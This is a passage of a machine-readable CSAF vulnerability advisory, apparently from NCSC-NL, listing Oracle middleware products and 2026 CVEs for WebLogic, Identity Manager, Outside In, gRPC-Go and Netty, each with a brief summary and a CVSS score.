"name": "Oracle WebLogic Server"
}
],
"category": "vendor",
"name": "Oracle"
},
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-3"
}
}
],
"category": "product_name",
"name": "Helidon"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-4"
}
}
],
"category": "product_name",
"name": "Oracle Access Manager"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-5"
}
}
],
"category": "product_name",
"name": "Oracle Identity Manager"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-6"
}
}
],
"category": "product_name",
"name": "Oracle Identity Manager Connector"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-7"
}
}
],
"category": "product_name",
"name": "Oracle Internet Directory"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-8"
}
}
],
"category": "product_name",
"name": "Oracle Managed File Transfer"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-9"
}
}
],
"category": "product_name",
"name": "Oracle Outside In Technology"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-10"
}
}
],
"category": "product_name",
"name": "Oracle Reports Developer"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-11"
}
}
],
"category": "product_name",
"name": "Oracle SOA Suite"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-12"
}
}
],
"category": "product_name",
"name": "Oracle Unified Directory"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-13"
}
}
],
"category": "product_name",
"name": "Oracle Virtual Directory"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-14"
}
}
],
"category": "product_name",
"name": "Oracle Web Services Manager"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-15"
}
}
],
"category": "product_name",
"name": "Oracle WebCenter Content"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-16"
}
}
],
"category": "product_name",
"name": "Oracle WebCenter Enterprise Capture"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-17"
}
}
],
"category": "product_name",
"name": "Oracle WebCenter Portal"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-18"
}
}
],
"category": "product_name",
"name": "Oracle WebCenter Sites"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-19"
}
}
],
"category": "product_name",
"name": "Service Delivery Platform"
}
],
"category": "vendor",
"name": "Oracle Corporation"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-33186",
"cwe": {
"id": "CWE-551",
"name": "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization"
},
"notes": [
{
"category": "other",
"text": "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization",
"title": "CWE-551"
},
{
"category": "description",
"text": "An authorization bypass vulnerability (CVE-2026-33186) in gRPC-Go prior to version 1.79.3, caused by improper validation of the HTTP/2 :path pseudo-header missing a leading slash, affects multiple products and leads to unauthorized access risks.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-33186 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-33186.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-33186"
},
{
"cve": "CVE-2026-42587",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Netty versions prior to 4.2.13.Final and 4.1.133.Final contain vulnerabilities in HttpContentDecompressor that allow attackers to bypass maxAllocation limits for Brotli, Zstd, and Snappy encodings, leading to out-of-memory Denial of Service.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-42587 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-42587.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-42587"
},
{
"cve": "CVE-2026-60392",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60392 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60392.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60392"
},
{
"cve": "CVE-2026-60412",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60412 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60412.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60412"
},
{
"cve": "CVE-2026-60413",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60413 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60413.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60413"
},
{
"cve": "CVE-2026-60414",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60414 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60414.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60414"
},
{
"cve": "CVE-2026-60415",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated remote attackers via T3 or IIOP protocols to potentially gain full control of the server, with a CVSS 3.1 score of 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60415 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60415.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60415"
},
{
"cve": "CVE-2026-60672",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated remote attackers to fully compromise the server via T3 or IIOP, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60672 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60672.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60672"
},
{
"cve": "CVE-2026-60679",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows low-privileged attackers with network access via T3 or IIOP to potentially take control of the server, with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60679 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60679.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60679"
},
{
"cve": "CVE-2026-60680",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows low-privileged attackers with HTTP network access to cause unauthorized data modification, deletion, or server crashes, rated CVSS 3.1 base score 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60680 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60680.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60680"
},
{
"cve": "CVE-2026-60696",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated remote attackers to fully compromise the server via T3 or IIOP, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60696 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60696.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60696"
},
{
"cve": "CVE-2026-60698",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated attackers with network access via IIOP to fully compromise the server, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60698 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60698.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60698"
},
{
"cve": "CVE-2026-60699",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated attackers with network access via T3 or IIOP to gain unauthorized access to sensitive data, with a CVSS 3.1 base score of 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60699 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60699.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60699"
},
{
"cve": "CVE-2026-60702",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows low-privileged attackers with network access via T3 or IIOP to fully compromise the server, with a CVSS 3.1 base score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60702 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60702.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60702"
},
{
"cve": "CVE-2026-60707",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a highly privileged attacker with HTTP network access to unauthorizedly create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60707 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60707.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60707"
},
{
"cve": "CVE-2026-60715",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60715 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60715.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
